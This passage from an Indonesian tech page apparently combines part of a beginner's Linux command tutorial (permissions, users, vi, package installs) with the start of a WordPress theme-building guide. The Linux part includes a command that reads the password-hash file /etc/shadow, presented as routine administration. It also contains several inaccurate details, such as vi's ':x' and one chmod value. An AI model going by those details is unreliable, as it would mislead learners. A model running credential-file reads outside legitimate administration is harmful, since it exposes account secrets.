        Untuk flash disk, copy image tersebut dengan perintah:
        # dd if=all.img of=/dev/sda1
        Perhatikan tanda $ dan #. Tanda $, artinya Anda login sebagai user biasa, sedangkan tanda # artinya Anda login sebagai root.
  4. Setelah disket/flash disk booting selesai dibuat, Anda tinggal boot komputer menggunakan disket atau flash disk tersebut, selanjutnya tinggal mengikuti instruksi yang ada. Cara installasi-nya silakan lihat thread yang lain.
3. Perintah Dasar Linux
Keterangan:
Perintah Linux = Perintah DOS = Keterangan perintah
  • ls = dir = melihat isi file
  • clear = cls = membersihkan tampilan di layar monitor
  • cp = copy = menyalin file
  • mv = ren, move = mengubah nama file, dan bisa juga untuk memindahkan file ke direktori tertentu
  • cd = cd = berpindah direktori (jika tanpa parameter akan menuju ke home direktori)
  • mkdir = md = membuat direktori
  • rmdir = rd = menghapus direktori kosong
  • cat = type = melihat isi file
  • rm = del = menghapus file atau direktori
  • pwd = cd = melihat direktori aktif saat ini
  • more = more = melihat tampilan per halaman
  • grep = <<tidak ada>> = menyaring tampilan atau file berdasarkan kata tertentu
  • free = mem = melihat informasi memory
Jika di DOS untuk menampilkan keterangan suatu perintah digunakan /?, maka di Linux dapat menggunakan perintah man. Contoh, untuk mengetahui fungsi dari perintah ls, maka dapat menggunakan man ls
Untuk menampilkan daftar perintah yang ada di linux, gunakan perintah info.
Beberapa contoh penggunaan perintah dasar Linux:
  • Menampilkan daftar file atau direktori
    ls -a = Melihat semua file atau direktori termasuk yang disembunyikan (diawali dengan tanda . (titik))
    ls -l = Menampilkan file dan direktori dalam tampilan lengkap, termasuk ukuran, tanggal modifikasi, pemilik, group dan mode atributnya
    ls -R = Menapilkan semua file atau direktori. Jika terdapat direktori, isi direktori itu akan ditampilkan juga
  • Membuat direktori beberapa level dalam 1 perintah. Contohnya direktori yang mempunyai susunan seperti ini:
    Komputer
    |-Hardware
    |-CPU
    |-Memori
    |-HDD
    |-Software
    |-OS
    |-Office
  • Maka Anda dapat menggunakan perintah berikut:
    $ mkdir -p Komputer/{Hardware/{CPU,Memori,HDD},Software/{OS, Office}}
  • Untuk melihat strukturnya, gunakan perintah tree (bila tidak ada, install dulu tree-nya dengan perintah urpmi tree)
  • Untuk menghapus direktori Komputer termasuk yang berada di bawahnya (di DOS dilakukan dengan perintah deltree), gunakan perintah
    $ rm -rf Komputer
    Parameter -rf artinya adalah menghapus seluruh direktori yang berada di dalamnya (-r) tanpa bertanya lagi (-f).
  • Membuat file dan melihat isinya:
    Membuat file dapat dilakukan dengan perintah cat, caranya hampir sama dengan perintah DOS (via copy con namafile), caranya adalah
    $ cat > namafile
    Untuk menyimpan file tersebut, tekan ^D.
  • Melihat isi file, dilakukan dengan perintah cat namafile
  • Melihat isi file tetapi hanya 10 baris pertama saja head namafile
  • Melihat isi file tetapi hanya 10 baris terakhir saja tail namafile
  • Melihat isi file tetapi hanya 5 baris pertama saja head -5 namafile
  • Melihat isi file tetapi hanya baris 5 saja head -5 namafile | tail -1
  • Perintah Pause:
    Di Linux ada 2 macam perintah untuk melihat tampilan daftar/isi file per layar. Perintah tersebut adalah more dan less  Perbedaan more dengan less terletak pada apa yang ditampilkan dalam jumlah besar. Perintah more hanya dapat melihat tampilan per layar tanpa bisa melihat apa sudah ditampilkan, jadi tidak bisa scroll ke atas untuk melihat tampilan yang telah lewat.
    Perintah less, lebih lengkap dari more karena less dapat melihat tampilan yang telah lewat dengan menggunakan panah atas.
4. Fungsi Keyboard di Linux
  • Ctrl+Alt+Fn = (n=1..6) Pindah ke terminal ke-n. Kita dapat menjalankan beberapa terminal sekaligus, jadi artinya Kita bisa login sebanyak 6 kali secara simultan dalam terminal/konsol
  • Ctrl+Alt+F7 = Pindah ke Xwindow yang telah berjalan
  • Ctrl+Alt+Del = Restart komputer
  • Ctrl+Alt+Backspace = Mematikan Xwindow server (dalam Xwindow), perintah ini berguna bila Xwindow rusak sehingga tidak dapat keluar secara normal.
  • Ctrl+c = membatalkan proses yang sedang berjalan
  • Ctrl+d = Mengirim pesan EOF (End of File) kepada proses yang sedang berlangsung
  • Panah Atas = Menampilkan kembali daftar perintah yang telah Kita ketik.
  • ~ = direktori user
  • | (pipeline) = fungsinya sama dengan yang berada di DOS, yaitu untuk menjalankan beberapa perintah bersamaan. Tetapi perintah setelah pipeline akan menggunakan masukan yang dihasilkan oleh perintah sebelum pipeline. Contoh: ls | grep Desktop, artinya adalah perintah grep akan menyaring semua keluaran yang dihasilkan oleh perintah ls. Jadi output perintah ls menjadi input untuk perintah grep.
Perintah Informasi System di Linux
  • pwd = menampilkan direktori aktif saat ini.
  • hostname = Menampilkan nama komputer yang sedang digunakan
  • whoami = Menampilkan nama login Kita
  • who = Menampilkan pengguna yang sedang aktif
  • id username = Menampilkan ID user dan ID Group
  • last = Menampilkan daftar user yang login terakhir kali
  • ps = Menampilkan proses saat ini yang dijalankan oleh user yang sedang aktif. Jika ditambahkan parameter axu, maka proses yang ditampilkan adalah proses yang dijalankan oleh masing-masing user.
  • top = sama seperti ps, tetapi diurutkan berdasarkan penggunaan CPU
  • free = Informasi memori, termasuk RAM dan Virtual Memory
  • df -h = Menampilkan kapasitas HDD (df=disk free)
  • du -bh = Menampilkan detail pemakaian HDD untuk setiap subdirektori (du=disk usage)
5. Membuat User dan Group
Sistem operasi Linux dari awalnya memang sudah dirancang untuk bekerja dengan banyak user, artinya adalah di Linux Kita bisa melakukan login dengan berbagai nama user, dan tentu saja dengan hak yang berbeda-beda dan hak akses yang berbeda pula untuk file dan direktori.
Tidak hanya membuat user saja, tetapi semua user yang ada dapat dikelompokkan. Contohnya, Kita dapat mengelompokkan user berdasarkan departemen yang ada di perusahaan, contohnya group Marketing, Purchasing, Finance, Accounting, dsb.
Sekarang bagaimana caranya kita membuat user dan group di Linux? Caranya cukup mudah, dan seperti Saya beritahukan di awal thread, Kita akan melakukan semuanya melalui command line atau biasa disebut text based.
  • Membuat user, gunakan perintah # useradd NamaUser
    Perintah tersebut akan membuat user baru sesuai dengan nama user yang kita masukan. Perhatikan juga bahwa pembuatan user tersebut akan membuatkan 1 direktori sesuai dengan nama user tersebut pada direktori /home. Selain itu, default group user ini adalah nama user itu juga.
  • Melihat daftar user yang ada, perintahnya # cat /etc/passwd
    Daftar user tersebut, nantinya akan berbentuk seperti ini 
    guest:x:500:500:guest:/home/guest:/bin/bash
    Dari daftar tersebut, terlihat kalau daftar tersebut terbagi menjadi 7 kolom/bagian yang dipisahkan oleh tanda : (titik dua).
    • Kolom 1 berisi username
    • Kolom 2 berisi password (hanya ditandi dengan tanda ‘x’ yang berarti mempunyai password)
    • Kolom 3 berisi UID (user ID), UID ini selalu dimulai dari 500
    • Kolom 4 berisi GID (Group ID), GUID ini juga selalu dimulai dari 500
    • Kolom 5 berisi Full name user
    • Kolom 6 berisi home direktori user
    • Kolom 7 berisi shell user tersebut
  • Melihat password user dalam bentuk terekripsi, perintahnya # cat /etc/shadow
  • Menghapus user, gunakan perintah # userdel namauser
    Perintah ini akan menghapus user yang kita masukan, tetapi tidak menghapus direktori user di folder /home.
  • Menghapus user dan folder home-nya, gunakan perintah # userdel -r namauser
  • Membuat Group, gunakan perintah # groupadd NamaGroup
    Perintah tersebut akan membuat suatu group baru. Saat baru dibuat group ini akan kosong, artinya tidak ada anggota pada group ini. Seperti penjelasan di atas, bahwa setiap pembuatan GID ini akan dimulai dari 500. Sekarang bagaimana jika kita ingin memberikan GID ini dengan 700? Gunakan perintah # groupadd -g 700 NamaGroup.
  • Melihat daftar group yang ada, gunakan perintah # cat /etc/group
  • Menambahkan user ke group tertentu, perintahnya # usermod -G NamaGroup NamaUser
  • Menghapus Group, gunakan perintah # groupdel NamaGroup
6. User Permissions File dan Direktori di Linux
Karena bekerja dengan banyak user, maka hak akses file dan direktori masing-masing user juga menjadi sangat vital. Seringkali user tertentu tidak ingin direktori dan file-filenya tidak ingin dilihat oleh orang lain. Dan bisa juga direktori atau file-file tertentu saja yang dibolehkan untuk dilihat orang lain. Atau bisa juga hanya group user tersebut yang boleh melihatnya tetapi group lain tidak boleh melihatnya. Itulah gunanya user permission di Linux. Kita bisa menentukan user atau group siapa saja yang boleh melihat file atau direktori tertentu.
Coba Anda melakukan perintah ls -l, di sebelah paling kiri akan muncul user permission dari file dan direktori yang ditampilkan tersebut. Formatnya adalah seperti ini drwxrwxrwx yang terdiri dari 10 digit. Dari format tersebut, dibagi ke dalam 4 segmen, yaitu:
d rwx rwx rwx
  • Segmen 1 menandakan tipenya, apakah berupa direktori, regular file atau link file. Kodenya adalah:
    • d = direktori
    • - = regular file
    • l = link file
  • Segmen 2 menandakan permission untuk pemilik (owner)
  • Segmen 3 menandakan permission untuk group
  • Segmen 4 menandakan permission selain pemilik dan group (others)
Untuk segmen 2, 3 dan 4 selalu berformat rwx, artinya:
  • r = read, akses untuk melakukan pembacaan file
  • w = write, akses untuk melakukan penulisan, pengeditan (rename, edit), penghapusan file atau direktori.
  • x = execute, akses untuk menjalankan suatu file atau masuk ke suatu direktori.
Jadi jika format permissionnya adalah seperti ini:
  1. drwxrwxr–maka hal ini berarti bahwa:
    • Direktori tersebut (karena diawali huruf d yang berarti direktori) dapat dibaca, diedit oleh pemiliknya, dan pemilik tersebut juga dapat masuk ke direktori tersebut.
    • Direktori tersebut dapat dibaca, diedit oleh groupnya, dan groupnya dapat masuk ke direktori tersebut.
    • Direktori ini hanya dapat dilihat oleh user atau group lain, tidak bisa melakukan editing (rename dan hapus), dan tidak bisa masuk ke direktori tersebut.
  2. -rw-r—–
    • File tersebut (karena diawali tanda – yang berarti file biasa) dapat dibaca, diedit oleh pemiliknya, tetapi tidak bisa dieksekusi/dijalankan (layaknya .exe di windows), karena tidak ada permission untuk execute (x)
    • File tersebut hanya dapat dibaca oleh groupnya, tanpa dapat diedit/dihapus dan tidak dapat dieksekusi
    • File ini tidak dapat dibaca, diedit/dihapus maupun dijalankan oleh user dan group yang lain.
7. Memberikan Permission Kepada File dan Direktori
Kita sudah mengetahui permission apa saja yang ada di file dan direktori di Linux. Tetapi Kita belum mengetahui bagaimana cara memberikan permission kepada file atau direktori tersebut. Di Linux, untuk memberikan permission dapat dilakukan dengan perintah chmod permission FileAtauDirektori.
Option untuk perintah chmod ini dapat dilakukan dengan 2 cara, yaitu menggunakan symbol huruf dan menggunakan symbol angka. Untuk menggunakan symbol huruf, maka huruf yang digunakan terdiri dari:
  • u = owner
  • g = group
  • o = others
  • a = all
  • + = menambahkan permission
  • - = mengurangi permission
  • r = permission untuk membaca (read)
  • w = permission untuk menulis (write)
  • x = permission untuk menjalankan atau masuk ke direktori (execute)
Untuk memberikan akses tulis kepada group, maka option yang harus kita berikan adalah g+w.
Untuk menghilangkan akses baca kepada user atau group lainnya, maka option yang harus kita berikan adalah o-r.
Selain dengan symbol huruf, Kita juga dapat menggunakan symbol angka. Symbol angka ini harus diberikan sekaligus untuk owner, group dan others. Jadi, kalau di symbol huruf kita bisa memberikan permission untuk owner, group atau others saja, maka di symbol angka ini harus diberikan sekaligus. Karena itu, symbol angka ini selalu berisi 3 digit, dimana digit pertama akan berisi mengenai permission owner, digit kedua untuk permission group dan digit ketiga untuk permission others. Symbol angkanya adalah:
  • 4 = untuk permission baca (read)
  • 2 = untuk permission tulis (write)
  • 1 = untuk permission menjalankan (execute)
Jadi, jika kita ingin memberikan permission seperti ini kepada user
  • drw-r-xr—maka perintahnya bila menggunakan symbol huruf adalah:
    $ chmod u+rw,u-x,g+r,g-wx,o+r,o-wx file
    bila menggunakan symbol angka, maka perintahnya:
    $ chmod 654 file
    Angka 6 berarti akses baca dan tulis, karena akses baca adalah 4 dan tulis adalah 2, maka jumlahnya adalah 6. Demikian juga untuk permission group, angka 5 berasal dari permission baca yang bernilai 4 dan permission menjalankan yang bernilai 1. Karena user atau group lainnya hanya boleh membaca saja, maka diberikan nilai 4.
  • Contoh lain lagi, misalkan permission awalnya adalah seperti ini drwxrw—- dan kita ingin menggantinya menjadi seperti ini drw-r-x—, maka perintahnya:
    $ chmod u-x, g-w,g+x file
    atau
    $ chmod 654 file
Untuk mengganti pemilik dari suatu file atau direktori, gunakan perintah berikut: chown PemilikBaru NamaFileAtauDirektori
Untuk mengganti group dari suatu file atau direktori, gunakan perintah beikut: chgrp GroupBaru NamaFileAtauDirektor
8. Contoh Penggunaan User Permission
Untuk lebih jelasnya, Kita akan langsung masuk ke contoh kasus saja.
  1. Kita akan membuat 1 group dengan nama IT Dan juga membuatkan user dengan nama-nama: Benny, Budi, dan Iwan. Dan ingat jangan lupa untuk memberikan password. Perintahnya:
    1. # groupadd it
    2. # useradd benny
    3. # passwd benny
    4. # useradd budi
    5. # passwd budi
    6. # useradd iwan
    7. # passwd iwan
  2. Kecuali Iwan, user-user tersebut adalah anggota dari group IT. Perintahnya:
    1. # usermod -G it benny
    2. # usermod -G it budi
  3. Selanjutnya adalah membuatkan direktori untuk group dimana setiap anggota group it dapat membaca, menulis dan mengeksekusi direktori tersebut, tetapi tidak untuk user atau group lainnya. Dan setiap file atau direktori yang berada di dalamnya harus mempunyai hak akses yang sama dengan direktori tersebut, yaitu dapat membaca, menulis dan mengeksekusi direktori tersebut.
    Perintahnya: 
    • # mkdir /home/it
    • # chgrp it /home/it
    • # chmod g+rwxs, o-rwx /home/it (atau ditulis # chmod 2770 /home/it)
      Perhatikan ternyata untuk permissionnya ada tambahan hurus ‘s’ dan dalam symbol angka menjadi 4 digit. Huruf ‘s’ (atau angka 4 di symbol angka) berarti special permission. Efek dari special permission ini adalah, bila direktori tersebut sudah kita set groupnya menjadi it, maka setiap file atau direktori yang berada di dalamnya yang dibuat setelah permission dibuat, maka groupnya pun akan mengikuti direktori utamanya.  Jika menggunakan symbol angka, maka special permission ini diletakan pada digit pertama. Berarti digit kedua adalah untuk permission owner, digit ketiga untuk permission group dan digit keempat untuk permission others. Bila tidak ada special permission, maka Kita dapat menuliskan dalam format 3 digit. Untuk symbol angka, berikut adalah artinya:
      • 4 = u+s
      • 2 = g+s
      • 1 = sticky bit (artinya yang bisa menghapusnya hanya owner, untuk symbol huruf ditandai dengan huruf ‘t’).
    • Sekarang cobalah untuk login dengan user benny, dan cobalah untuk membuat file apa saja di direktori /home/it.
    • Lalu cobalah login dengan user budi, editlah file tersebut. Ternyata user budi dapat mengedit file tersebut. Hal ini karena group file tersebut adalah it, dimana akses group tersebut adalah read, write dan execute.
    • Sekarang coba login dengan user iwan, dan coba edit file yang dibuat oleh user benny tadi. Ternyata tidak bisa. Bahkan user iwan tidak bisa masuk ke direktori /home/it sama sekali. Hal ini terjadi, karena user iwan bukan merupakan anggota group it.
9. Menggunakan VI Teks Editor
Ada banyak teks editor yang tersedia di Linux, mulai dari yang berbasis CLI hingga yang berbasis GUI. Beberapa teks editor tersebut adalah
  1. vi
  2. emacs
  3. joe (bagi Anda yang ingin bernostalgia dengan wordstar/ws, joe ini mirip sekali dengannya)
  4. pico
  5. dll
Vi teks editor ini terdiri dari 2 macam mode, yaitu editing dan command. Saat berada dalam mode editing, Kita bisa mengedit file yang kita buat, seperti menambah, menghapus atau mengedit teks.
Saat berada dalam mode command, artinya kita bisa memberikan perintah-perintah kepada vi. Perintah-perintah yang dimaksud itu seperti perintah keluar, simpan, copy, delete, dsb. Command ini juga bisa dalam bentuk visual. Saat berada dalam mode visual, kita bisa melakukan blok terhadap baris-baris tertentu dan melakukan copy terhadap baris tersebut dan sebagainya.
Untuk masuk ke dalam mode editing, kita dapat menekan tombol i. Untuk berpindah mode, dari mode editing ke mode command, Kita dapat menekan tombol ESC.
  • Membuat dan membuka file
    Untuk membuat atau membuka file, dapat dilakukan dengan perintah:
    $ vi nama_file
    Jika nama file yang diberikan adalah nama file baru (filenya belum ada), maka artinya kita akan membuat file baru. Tetapi jika nama filenya sudah ada, artinya kita akan membuka file tersebut.  Berikut beberapa perintah lainnya dalam membuka file:
    • $ vi +n nama_file
      Untuk membuka file langsung pada nomor baris n
    • $ vi + nama_file
      Untuk membuka file langsung pada baris terakhir
    • $ vi +/kata nama_file
      Untuk membuka file langsung pada kata pertama yang ditemukan
    • $ vi -R nama_file
      Membuka file dalam modus baca, dan tidak untuk diedit. Perintahnya juga bisa dilakukan dengan perintah $ view nama_file
  • Keluar dan menyimpan
    • Untuk keluar dari vi, tekan tombol ESC kemudian dilanjutkan dengan menekan tombol :q dan diakhiri dengan ENTER
    • Bila file telah sempat diedit, dan Kita ingin keluar tanpa menyimpannya, maka yang perlu Anda lakukan adalah tekan ESC, dilanjutkan dengan tombol :q! dan diakhiri dengan ENTER
    • Untuk menyimpan dan keluar dari vi, tekan tombol ESC dan dilanjutkan dengan menekan tombol :wq
    • Untuk menyimpan tanpa keluar, tekan tombol ESC dan dilanjutkan dengan menekan tombol :x
  • Perintah-perintah pengeditan
    1. Menggerakkan kursor
      • 0 = Pindah ke awal baris
      • $ = Pindah ke akhir baris
      • w = Pindah ke kata selanjutnya
      • b = Pindah kembali ke kata sebelumnya
      • a = Untuk menyisipkan karakter
      • c = untuk memotong kata atau baris
      • p = Untuk menyalin kata atau kalimat yang terpotong (paste)
      • yy = Untuk menyalin 1 baris.
      • 2yy = Untuk menyalin 2 baris.
      • dd = Untuk menghapus baris.
      • 2dd = Untuk menghapus 2 baris
      Untuk melakukan copy+paste secara visual, dapat dilakukan dengan cara menekan tombol v, blok baris yang akan dicopy, kemudian tekan y. Letakkan kursor ke tempat tujuan dan tekan p.
    2. Mengedit teks
      • cw = Menghapus satu kata di depan kursor
      • c2b = menghapus 2 kata sebelumnya
      • c$ = menghapus satu baris di depan kursor
      • c0 = menghapus satu kata di belakang kursor
      • ~ = mengubah huruf kecil menjadi huruf besar
      • u = Undo, melakukan pembatalan terhadap editing terakhir.
      • A = menyisipkan karakter di akhir baris
      • I = menyisipkan karakter di awal baris
      • o = membuka baris kosong di bawah kursor
      • O = membuka baris kosong di atas kursor
      • s = menghapus karakter pada kursor dan menukar teks
      • S = menghapus baris dan menukar teks
      • R = menempati karakter, kata, kalimat ke dalam baris yang telah dibuat.
      • J = menggabungkan dua baris.
    3. Menukar teks
      Format umum perintah menukar teks ini adalah:
      :<jangkauan>s/<kata yang akan diganti>/<kata pengganti>/option  Option yang dapat diberikan adalah
      g = mencari kata secara global
      i = mengabaikan huruf besar/huruf kecil
      Contoh:
      Kita akan mengganti kata “baris” menjadi kata “line”, maka perintahnya:
      :1,$s/baris/line/g
    4. Mencari kata
      • /cari = mencari kata pertama di depan kursor yang sama dengan cari
      • ?cari = mencari kata pertama di belakang yang sama dengan cari
      • n = untuk mencari kata cari berikutnya tetapi ke arah sebelumnya
      • N = untuk mencari kata cari berikutnya tetapi ke arah setelahnya.
10. Instalasi Program di Linux
Instalasi di Linux terdiri dari 2 macam, yaitu instalasi dari repositori dan instalasi program tambahan (non repositori). Instalasi dari repositori artinya Kita akan menginstall program-program tambahan yang sudah disediakan oleh distro Linux tersebut, seperti dari CD/DVD atau dari server (dan mirrornya) distro itu sendiri.
Instalasi program tambahan (non repositori), artinya Kita akan menginstall program-program lain yang tidak terdapat di distro Linux tersebut atau bisa juga kita akan menginstall program-program yang berada di distro tersebut, tetapi mempunyai versi yang berbeda.
  • Installasi Dari Repositori
    Untuk installasi dari repositori, tergantung dari distro yang kita gunakan, karena masing-masing distro mempunyai perintahnya masing-masing. Berikut beberapa perintah yang ada di beberapa distro: 
    1. Mandriva = urpmi
    2. Red Hat & Fedor = yum
    3. OpenSUSE & SUSE = yast2
    4. Ubuntu, Kubuntu, Edubuntu, Xubuntu = apt-get
    5. PCLinuxOS = apt-get
    Contoh:
    • Instalasi tree di Mandriva, urpmi tree
    • Instalasi webmin di PCLinuxOS, apt-get install webmin
  • Installasi Program Tambahan (non repostori)
    Ada kalanya Kita tidak menemukan aplikasi yang kita inginkan di distro Linux yang kita gunakan, atau aplikasi yang kita inginkan memang ada, tetapi kita membutuhkan versi yang lebih tinggi. Di saat seperti itulah Kita perlu menginstall program tambahan (non repositori) tersebut. Installasi program tambahan ini pun tergantung dari turunan distro yang kita gunakan.  Secara umum, distro Linux yang ada saat ini dapat dibagi ke dalam 3 kelompok, yaitu:
    1. Turunan Red Hat (mempunyai installer yang berbentuk .rpm)
    2. Turunan Debian (mempunyai installer yang berbentuk .deb)
    3. Turunan Slackware (mempunyai installer yang berbentuk .tgz)
    Dalam pembahasan ini, Kita akan menggunakan installer yang berbentuk .rpm. Perintah untuk menginstall paket .rpm adalah rpm -ivh NamaPaket. Parameter i berarti Kita akan melakukan installasi.
    Parameter v berarti semua progress akan ditampilkan ke layar.
    Parameter h berarti tampilan progressnya dalam bentuk bar, sehingga akan kelihatan persentasenya.
    Untuk mengupgrade paket .rpm, gunakan parameter U untuk menggantikan parameter i. Untuk menghapus aplikasi, gunakan parametera e.
    Penjelasan dan contoh yang lebih lanjut mengenai installasi paket .rpm ini akan dijelaskan dalam thread lanjutan setelah thread ini. Di thread lanjutan nanti, akan dijelaskan cara install paket .rpm yang lebih lengkap, termasuk installasi yang membutuhkan dependensi, dan installasi melalui source code.
Special Thanks To Sirius Black From Chip & Selamat Belajar Untuk Seluruh Keluarga

Belajar Membuat Theme WordPress

Selamat sore kawan semua, berjumpa lagi bersama saya, angga A.k.A anggamovic yang akan membahas cara membuat theme wordpress untuk sahabat BinusHacker semuanya :)

PART 1

Seperti yang sudah saya janjikan pada artikel yang kemarin http://www.binushacker.net/membuat-toggle-sederhana-css-dan-jquery.html , nah sekarang kita lanjutkan pembahasan tentang web desainnya, bahasan yang sekarang akan saya angkat yaitu Membuat theme wordpress step by step… Ini adalah PART 1 :)
Dikarenakan komponen dari theme wordpress itu bejibun, jadi disini saya akan membahasnya satu persatu, kenapa? selain agar kalian dapat lebih mengerti hirarki dalam tema wordpress, kalian juga akan mengerti tag tag yang dipake oleh wordpress dalam penyusunan front end nya.
Kita siapkan dulu bahan bahan yang akan kita gunakan.
=[1]= Template html dasar
[ Disini saya akan menggunakan template HTML yang sudah banyak betebaran di google, untuk download dasarnya silakan download disini http://freehtml5templates.com/downloads/free/butterflybrilliance.zip ]
=[2]= Text editor untuk mengedit template dasarnya, disini saya menggunakan Dream Weaver 8, bagi yang tidak ada silakan pake text editor e.g notepad, notepad++,
=[3]= Teh manis, camilan, rokok untuk menemani membaca artikel ini, jangan lupa puter mp3 kesayangan kalian untuk mebuat mood kalian oke….
======== Step 1 [ Pre Editing ] =========
Sebelum kita memulai mengerjakan membuat tema ini, alangkah baiknya jika kita mengenal dulu hirarki dalam tema wordpress itu.
===> Menurut wprainbow (wprainbow.com) dituliskan pada artikel
http://www.wprainbow.com/memahami-hirarki-theme-template-wordpress/
Disebut kan,
Theme Template WordPress memiliki alur eksekusi berdasarkan aturan tertentu. Artikel kali ini akan membantu anda untuk memahami alur dari Theme Template
Prasyarat yang dibutuhkan
Sebelum Anda meneruskan untuk membaca artikel ini, pastikan Anda telah membaca artikel saya sebelumnya yang berjudul Menggunakan File Theme Template dan Mengenal Anatomi WordPress Theme.
Hirarki Theme Templates
Seperti yang telah kita tahu sebelumnya bahwa sebuah WordPress Theme minimal memiliki 2 file yaitu style.css dan index.php maka ketika sebuah WordPress Theme tidak memiliki file Theme Template diatas, maka akan digantikan fungsinya oleh Theme Template lainnya berdasarkan urutan hierarki yang telah ditentukan oleh WordPress.
Misal ketika pengunjung mengakses blog, maka engine WordPress pertama kali akan mencari file Theme Template home.php. Jika WordPress Theme yang aktif sekarang tidak memiliki file home.php maka yang akan digunakan adalah file index.php. Contoh lain ketika pengunjung membuka Category tertentu maka yang pertama kali dicari oleh engine WordPress adalah file category-id.php, jika tidak ditemukan maka file category.php-lah yang akan digunakan, jika masih tidak ditemukan maka file archieve.php. Terakhir jika masih belum ditemukan maka akan menggunakan file index.php.
Berikut ini bagan hirarki wordpress:
======== Step 2 [ Editing ] =========
Setelah kalian tadi download template html nya, sekarang extract dalam folder,
seperti yang terpampang di bagan diatas, kita bisa mengambil kesimpulan, hirarki tema wordpress paling paling sederhana, berikut susuannya.
1. Style.css
2. index.php
3. footer.php
4. header.php
5. comments.php
6. single.php
7. page.php
8. archive.php
9. functions.php
Itu lah susunan yang akan kita pakai sebagai dasarnya,
Sekarang kita cek tema html yang tadi kita download apakah sudah ada file file yang kita butuh kan itu atau belum? Yang pastinya belum, maka tugas kita selanjutnya adalah membuat file yang belum ada.
File yang sudah ada hanyalah style.css, maka untuk file yang lainya kita buat terlebih dahulu, sekarang buat file ber-extensi *php dari notepad, buat satu file “text document ” dan save as index.php
Setelah itu kita copy paste file index.php itu, buat 6 lagi, dan rename menjadi footer,header,single,page,comments,functions dan archieve.
Tugas kita selanjutnya, adalah mengisi header.php
Sekarang buka file index.html yang disertakan di temlpate html tadi, open with notepad.
berikut isi dari index.html
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8″ />
<title>ButterflyBrilliance</title>
<link rel=”stylesheet” href=”styles.css” type=”text/css” media=”screen” />
<link rel=”stylesheet” type=”text/css” href=”print.css” media=”print” />
<!–[if IE]><script src=”http://html5shiv.googlecode.com/svn/trunk/html5.js”></script><![endif]–>
</head>
<body>
<div id=”wrapper”><!– #wrapper –>
<header><!– header –>
<h1><a href=”#”>Butterfly Brilliance</a></h1>
<h2>Your interesting tag line goes here</h2>
</header><!– end of header –>
<nav><!– top nav –>
<div>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About</a></li>
<li><a href=”#”>Products</a></li>
<li><a href=”#”>Services</a></li>
<li><a href=”#”>Support</a></li>
<li><a href=”#”>Contact Us</a></li>
</ul>
</div>
</nav><!– end of top nav –>
<section id=”main”><!– #main content and sidebar area –>
<section id=”content”><!– #content –>
<article>
<h2><a href=”#”>First Article Title</a></h2>
<p><img src=”images/orangebutterfly.png” alt=”" />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
<article>
<h2><a href=”#”>Second Article Title</a></h2>
<p><img src=”images/coolbutterfly.png” alt=”" />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
<p>Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”" /><br /><img src=”images/ad125.jpg” alt=”" /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
</section><!– end of #main content and sidebar–>
<footer>
<section id=”footer-area”>
<section id=”footer-outer-block”>
<aside>
<h4>Friends</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #first footer segment –>
<aside>
<h4>Awesome Stuff</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #second footer segment –>
<aside>
<h4>Coolness</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #third footer segment –>
<aside>
<h4>Blahdyblah</h4>
<p>&copy; 2010 <a href=”#”>yoursite.com</a> Praesent libero. Sed cursus ante dapibus diam. Sed nisi.</p>
</aside><!– end of #fourth footer segment –>
</section><!– end of footer-outer-block –>
</section><!– end of footer-area –>
</footer>
</div><!– #wrapper –>
<!– Free template created by http://freehtml5templates.com –>
</body>
</html>
Setelah terlihat isi indexnya, kita copy paste kedalam header.php
Berikut source yang akan kita copas.
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8″ />
<title>ButterflyBrilliance</title>
<link rel=”stylesheet” href=”styles.css” type=”text/css” media=”screen” />
<link rel=”stylesheet” type=”text/css” href=”print.css” media=”print” />
<!–[if IE]><script src=”http://html5shiv.googlecode.com/svn/trunk/html5.js”></script><![endif]–>
</head>
<body>
<div id=”wrapper”><!– #wrapper –>
<header><!– header –>
<h1><a href=”#”>Butterfly Brilliance</a></h1>
<h2>Your interesting tag line goes here</h2>
</header><!– end of header –>
